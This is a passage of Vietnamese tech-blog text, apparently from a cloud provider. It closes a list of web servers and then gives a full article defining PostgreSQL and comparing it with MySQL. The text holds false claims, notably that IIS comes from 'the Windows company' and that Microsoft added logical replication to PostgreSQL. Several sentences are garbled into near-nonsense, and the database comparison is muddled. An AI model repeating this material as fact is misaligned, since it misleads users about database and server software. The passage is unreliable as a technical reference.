trung hòa tải. [caption id="attachment_21324" align="aligncenter" width="771"] Nginx - loại máy chủ web có reverse proxy với mã nguồn mở[/caption] Nginx tập trung vào khả năng đồng bộ hóa, nâng cao hiệu suất hoạt động, tận dụng tài nguyên hiệu quả. Chính thức phát hành từ năm 2004, đến nay Nginx vẫn là một trong những web server được sử dụng nhiều nhất. Web server IIS IIS phát hành bởi hãng Windows, một phần trong hệ sinh thái Windows Server. Bao gồm một số dịch vụ cơ bản như web server, FTP server. [caption id="attachment_21328" align="aligncenter" width="771"] IIS phát hành bởi hãng Windows, một phần trong hệ sinh thái Windows Server[/caption] Toàn bộ tính năng trong web server đều quản lý một cách độc lập. Hỗ trợ người dùng thêm bớt, thay thế.  Cấu trúc từng phần là một trong những điểm cộng của IIS. Nó là cơ sở để phát triển tính năng mới cho bên phát triển thuộc hệ sinh thái Microsoft và các bên thứ ba. Với tích hợp ASP.NET, IIS loại cảm hỗ trợ tốt người dùng. Đặc biệt là người dùng virtual hosting, PHP, IPV6. Web server Apache Đây là một phần mềm máy chủ với mã nguồn mở, được hỗ trợ quản lý bởi Apache Software. Đặc biệt, Apache hoàn toàn miễn phí, tích hợp đầy đủ tính năng của một web server chuyên dụng. Web server Apache Tomcat Apache Tomcat được nghiên cứu và phát triển bởi Apache Software Foundation.  Tomcat có phải là gì triển khai ứng dụng thuộc loại Java Servlet và JavaServer Pages. Phần nào này hỗ trợ máy chủ HTTP với ngôn ngữ lập trình Java đơn thuần. Apache Tomcat hoạt động cực ổn định, tích hợp đầy đủ tính năng thương mại kèm giấy phép mã nguồn mở. Đồng thời hỗ trợ đầy đủ hệ điều hành quen thuộc như Linux, Windows, Mac,.. Web server Lighttpd Lighttpd - một phần mềm với mã nguồn mở, hoàn toàn miễn phí, có tính linh hoạt cao. Ưu điểm lớn của Lighttpd là rất tiết kiệm tài nguyên, yêu cầu cấu hình vừa phải. Phần mềm này được viết theo ngôn ngữ lập trình C, tương thích với tất cả các hệ điều hành phổ biến (Windows, Linux, Mac OS). [caption id="attachment_21332" align="aligncenter" width="771"] Lighttpd - một phần mềm với mã nguồn mở, hoàn toàn miễn phí[/caption] Những bài viết liên quan: WebRTC là gì? Thành phần & cách thức hoạt động của WebRTC Web services là gì? Cấu trúc và chức năng của web services Host là gì? Toàn tập kiến thức về Host từ A đến Z Mẹo đổi Port Remote Desktop cực nhanh chỉ trong 15s Lighttpd có thể chạy nhiều ứng dụng web đề vào tích hợp hỗ trợ FastCGI, SCGI và CGI.  Web server là gì? Có thể hiểu đơn giản rằng đây là một dạng máy chủ web hỗ trợ mạng máy tính, chứa nhiều web. Mong rằng phần chia sẻ của FPT Cloud đã cung cấp đến bạn kiến thức cần biết về web server. FPT Smart Cloud – Nhà cung giải pháp và tư vấn hàng đầu về Điện toán đám mây và Trí tuệ nhân tạo tại Việt Nam.

PostgreSQL là gì? Tìm hiểu về hệ quản trị cơ sở dữ liệu PostgreSQL

16:55 04/03/2022
PostgreSQL là gì? Đã từ lâu, PostgreSQL được ví như cơ sở dữ liệu khu quy mô bậc nhất. Cơ sở dữ liệu này hoàn toàn mang tính mở, dễ dàng để mỗi cá nhân và tổ chức cùng khai thác. Mặc dù có tầm quan trọng như vậy nhưng vẫn chưa ra nhiều người dùng thực sự hiểu rõ PostgreSQL là gì. Phần tổng hợp sau đây, hy vọng có thể giúp bạn hiểu hơn về hệ cơ sở quản trị dữ liệu PostgreSQL. PostgreSQL là gì? PostgreSQL là gì? - PostgreSQL được ứng dụng phổ biến xây dựng như một hệ cơ sở quản trị dữ liệu mở. Hệ cơ sở dữ liệu này giữ vai trò tiền phong mở đường cho khái niệm hệ quản trị dữ liệu thương mại ra đời sau này. PostgreSQL là gì? Thời kỳ đầu, PostgreSQL hoạt động của giống như nền tảng điều hành Unix. Về sau, PostgreSQL dần thay đổi để trở nên linh hoạt và có thể khởi chạy trên một số nền tảng như Windows, Solaris, Mac OS. Đồng thời, tích hợp thêm nhiều tính năng vượt trội khác. Về mặt kỹ thuật, PostgreSQL chính là một mã nguồn mở hoàn toàn miễn phí, xây dựng theo quy chuẩn SQL99. Nhờ đó, tất cả người dùng đều có quyền sử dụng, tham gia chỉnh sửa. Khác với phần lớn cơ sở dữ liệu khác, PostgreSQL hoạt động rất ổn định không yêu cầu bảo trì cầu kỳ. Nó dễ dàng để triển khai trên nhiều ứng dụng khác nhau với phí đầu tư hợp lý. Đến đây, bạn hẳn phần nào hiểu hơn định nghĩa PostgreSQL là gì. >>> Xem thêm: So sánh VPS và Cloud Server chi tiết từ A đến Z Vai trò chính của PostgreSQL [caption id="attachment_21244" align="aligncenter" width="1024"] PostgreSQL là một phần quan trọng của ngành dữ liệu GIS cho tổ chức chính phủ[/caption] PostgreSQL hoạt động như một hệ quản trị dữ liệu mang tính mở, phù hợp để mọi doanh nghiệp khai thác. Đây là một hệ quản trị tương thích với hầu hết các nền tảng, ứng dụng đa ngôn ngữ, phần mềm phổ biến. Ngày nay, PostgreSQL là một phần quan trọng của ngành dữ liệu GIS cho tổ chức chính phủ, ngành ngân hàng, thương mại, công nghệ web,.. PostgreSQL hoàn toàn không bị quản lý bởi bất kỳ tổ chức nào. Tuy vậy, việc không bị quản lý bởi bất kỳ tổ chức nào đôi khi lại là yếu điểm của PostgreSQL. Một vài tính năng cơ bản của PostgreSQL [caption id="attachment_21248" align="aligncenter" width="976"] PostgreSQL cung cấp nhiều kiểu dữ liệu[/caption] PostgreSQL mang đến người dùng vô số chức năng hữu ích. Cùng với đó là khả năng vận hành ổn định, tốc độ tối ưu. Cung cấp nhiều kiểu dữ liệu: PostgreSQL cung cấp đa dạng kiểu dữ liệu như nguyên hàm, cấu trúc, hình học,.. Bảo đảm toàn vẹn dữ liệu: Dữ liệu trong PostgreSQL luôn được đảm bảo tính toàn vẹn. Tính năng thiết lập linh hoạt: PostgreSQL cho phép người dùng thiết lập danh mục từ cơ bản đến nâng cao, tối ưu ưu hóa tốc độ truy cập, hỗ trợ thống kê trên nhiều cột,.. Cùng với đó là vô số thiết lập khác. Chức năng bảo mật: PostgreSQL hỗ trợ xây dựng hàng rào bảo mật, xác thực mạnh. Khả năng mở rộng: Người dùng có thể thực hiện mở rộng hệ thống qua các phức thức lưu trữ, kết nối cơ sở dữ liệu. Chức năng tìm kiếm văn bản: PostgreSQL cung cấp tính năng tìm kiếm văn bản đầy đủ, hệ thống hóa ký tự theo cách khoa học. Ngoài ra, PostgreSQL còn tích hợp chức năng cùng lúc quản lý số lượng lớn người dùng. >>> Xem thêm: Svchost là gì? Cách xử lý Svchost giúp máy tính chạy mượt Điểm khác biệt giữa mySQL và PostgreSQL trong lập trình [caption id="attachment_21252" align="aligncenter" width="1024"] PostgreSQL và mySQL đều là hai hệ quản trị cơ sở dữ liệu được ứng dụng phổ biến[/caption] PostgreSQL và mySQL đều là hai hệ quản trị cơ sở dữ liệu được ứng dụng phổ biến hiện nay. Không ít người dùng vẫn còn băn khoăn không biết nên cho PostgreSQL hay mySQL. Dưới đây so sánh điểm khác biệt giữa 2 hệ cơ sở dữ liệu này.  Non-blocking trong DD Điểm khác biệt cơ bản của PostgreSQL và mySQL nằm ở đặc điểm PostgreSQL và mySQL. Hệ cơ sở quản trị dữ liệu mySQL Cho phép tử thể thao tác DDL thông qua Non - Bocking. Tích hợp thêm chức năng Non - Blocking kể từ phiên bản mySQL. Đối với Alter table sẽ tích hợp thêm tiện ích thay đổi hàng và cột trong bảng. Hệ cơ sở quản trị dữ liệu PostgreSQL Tùy chỉnh theo câu lệnh thực hiện DDL. Với thao tác viết, hệ thống có thể tự động bổ sung block. Trên PostgreSQL, nhóm thao tác DDL là dạng Alter table.  Nếu muốn sử dụng Non - Blocking, bạn phải sử dụng tool hỗ trợ. Thao tác dữ liệu Thao tác dữ liệu giữa PostgreSQL và mySQL không hoàn toàn tương đồng nhau. Hệ cơ sở quản trị dữ liệu mySQL Ứng dụng thuật toán sort không tối ưu bằng PostgreSQL. Tập trung vào use case. Khả năng update tốt, có khả năng ghi đè. Tốc độ sở dữ liệu hơi chậm, tuy nhiên từ phiên bản 5.5 tốc độ bắt đầu được cải thiện Hệ cơ sở quản trị dữ liệu PostgreSQL Câu lệnh select cần một lượng lớn dữ liệu. Tốc độ xóa dữ liệu khá nhanh. Trình update giống như insert. Thuật toán Join mySQL chỉ ứng dụng thuật toán Support Nested Loop Join. Vì hệ cơ sở dữ liệu này hướng đến tiêu chí đơn giản. Trong khi đó PostgreSQL lại ứng dụng đến 3 loại Hash. Nếu cần nhiều, người dùng nên dùng đến Hash Join hoặc Sort Merge Join. Khả năng xử lý transaction Khả năng xử lý transaction cũng là một trong những điểm khác biệt nổi bật của hai hệ quản trị dữ liệu PostgreSQL và mySQL. Hệ cơ sở quản trị dữ liệu mySQL Mặc định xử lý theo phương thức repeatable-read cho phép giữ nguyên dữ liệu đọc. Ứng dụng Next Key Locking nhằm hoàn thiện tính năng thêm dữ liệu bởi transaction. Hệ cơ sở quản trị dữ liệu PostgreSQL Tích hợp tính năng Read – committed. Nếu không thể chuyển đổi thành Repeatable – read đồng nghĩa không xuất hiện Next Key Locking. Quy trình xử lý kích hoạt (Store procedure, Trigger) Bên cạnh SQL, hệ quản trị PostgreSQL sẽ ứng dụng Procedure tại lớp bên ngoài giống Python. Trong khi đó, MySQL lại chỉ sử dụng SQL, từ phiên bản 5.6 mỗi bảng chỉ được gắn nhiều nhất 6 Trigger. Kiểu Logic và Replication  MySQL sở hữu replication cả dạng vật lý và dạng logic. Cụ thể, logic được cài đặt mặc định, kể từ bản 5.7 dạng vật lý cũng cài đặt theo hướng mặc định. Còn PostgreSQL chỉ tích hợp dạng vật lý, sao xếp hình ảnh rồng sau khi đã thay đổi. Tuy nhiên kể từ phiên bản 10, nhà phát triển Microsoft đã bổ sung thêm dạng logic. Chức năng chính  Cuối cùng là phần so sánh về các chức năng nổi bật chính. Dưới đây là một vài liệt kê, so sánh cụ thể. Hệ cơ sở quản trị dữ liệu mySQL Chưa hỗ trợ nhiều chức năng tiện lợi. Tích hợp chức năng sao lưu trực tuyến, điều khiển từ xa. Hệ cơ sở quản trị dữ liệu PostgreSQL Hỗ trợ hệ điều hành Windows dễ dàng apply hàm tổng. Chức năng Query cải thiện tốc độ xử lý thông qua việc chạy Query trên nhiều CPU. Tính năng Pg_basebackup cho phép sử dụng trực tuyến. Ưu điểm và nhược điểm của PostgreSQL PostgreSQL là hệ quản trị dữ liệu sở hữu nhiều ưu điểm nổi trội. Tuy nhiên song song với đó, hệ quản trị này vẫn còn tồn tại không ít nhược điểm. Ưu điểm Có khả năng chạy trang web, ứng dụng web động. Lưu lại nhật ký, hình thành cơ sở dữ liệu hỗ trợ sửa lỗi. Mã nguồn PostgreSQL luôn sẵn sàng để người dùng chỉnh sửa nâng cấp. Hỗ trợ khách hàng theo từng vùng địa lý. Cách thức sử dụng đơn giản. Hạn chế PostgreSQL không chịu sự quản lý của bất kỳ tổ chức nào gây khó khăn để người tiếp cận với đầy đủ tính năng. Có vô số ứng dụng ứng dụng mã nguồn mở không phải ứng dụng nào cũng được hỗ trợ tốt. Hiệu suất hoạt động chậm hơn so với MySQL Những bài viết liên quan: SWAP RAM là gì? Điều cần biết trước khi sử dụng SWAP(RAM ảo) Tìm hiểu chi tiết về OTP là gì | Ứng dụng của OTP ngày nay Bộ nhớ trong là gì? Tìm hiểu bộ nhớ trong máy tính & điện thoại CRUD là gì? So sánh điểm khác biệt giữa CRUD và REST PostgreSQL - hệ cơ sở quản trị dữ liệu phổ biến bậc nhất hiện giờ, cho phép mọi cá nhân và doanh nghiệp khai thác. Hy vọng bài viết tổng hợp trên đây của FPT Cloud đã giúp bạn hiểu một cách chuẩn xác PostgreSQL là gì!